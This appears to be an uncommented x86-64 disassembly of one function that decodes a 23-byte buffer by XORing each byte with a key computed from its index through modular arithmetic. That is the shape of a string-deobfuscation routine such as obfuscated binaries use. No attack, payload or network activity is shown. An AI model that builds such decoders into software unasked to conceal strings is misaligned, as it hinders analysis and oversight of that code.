sub rsp, 0x58
xor r8d, r8d
mov r10, rdx
cmp dword [0x1400bf090], 2
jl 0x1400145b3
movdqa xmm5, xmmword [0x1400b1700]
lea rax, [r10 + 0x16]
lea rdx, [rcx + 0x16]
cmp rcx, rax
ja 0x140014395
cmp rdx, r10
jae 0x1400145b3
movaps xmmword [rsp + 0x40], xmm6
movaps xmmword [rsp + 0x30], xmm7
movaps xmmword [rsp + 0x20], xmm8
movaps xmmword [rsp + 0x10], xmm9
movdqa xmm0, xmmword [0x1400b17c0]
lea r9, [rcx + 4]
movdqa xmm3, xmmword [0x1400b17b0]
mov rdx, r10
movdqa xmm6, xmmword [0x1400b1720]
sub rdx, rcx
movdqa xmm7, xmmword [0x1400b16f0]
movdqa xmm4, xmmword [0x1400b17f0]
movdqa xmm8, xmmword [0x1400b1730]
movdqa xmm9, xmmword [0x1400b1740]
movdqa xmmword [rsp], xmm0
mov r11d, dword [rsp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
movd xmm0, r11d
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 4]
xorps xmm2, xmm0
movd dword [r9 - 4], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 3
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
xorps xmm0, xmm0
pcmpgtd xmm0, xmm2
andps xmm0, xmm7
paddd xmm0, xmm2
psrad xmm0, 1
paddd xmm0, xmm0
psubd xmm2, xmm0
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
movd xmm0, r11d
packuswb xmm2, xmm2
lea r9, [r9 + 8]
packuswb xmm2, xmm2
add r8d, 8
paddb xmm2, xmm0
movd xmm0, dword [rdx + r9 - 8]
xorps xmm2, xmm0
movd dword [r9 - 8], xmm2
cmp r8d, 0x10
jl 0x140014400
movaps xmm9, xmmword [rsp + 0x10]
movaps xmm8, xmmword [rsp + 0x20]
movaps xmm7, xmmword [rsp + 0x30]
movaps xmm6, xmmword [rsp + 0x40]
cmp r8d, 0x17
jge 0x140014615
movsxd r9, r8d
add r9, rcx
sub r10, rcx
nop dword [rax]
mov eax, 0x22b63cbf
mov ecx, r8d
imul r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3b
sub ecx, eax
and ecx, 0x80000001
jge 0x1400145e9
dec ecx
or ecx, 0xfffffffe
inc ecx
mov eax, 0x4325c53f
inc r8d
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x3d
sub ecx, eax
add cl, 0x32
xor cl, byte [r10 + r9]
mov byte [r9], cl
inc r9
cmp r8d, 0x17
jl 0x1400145c0
add rsp, 0x58
ret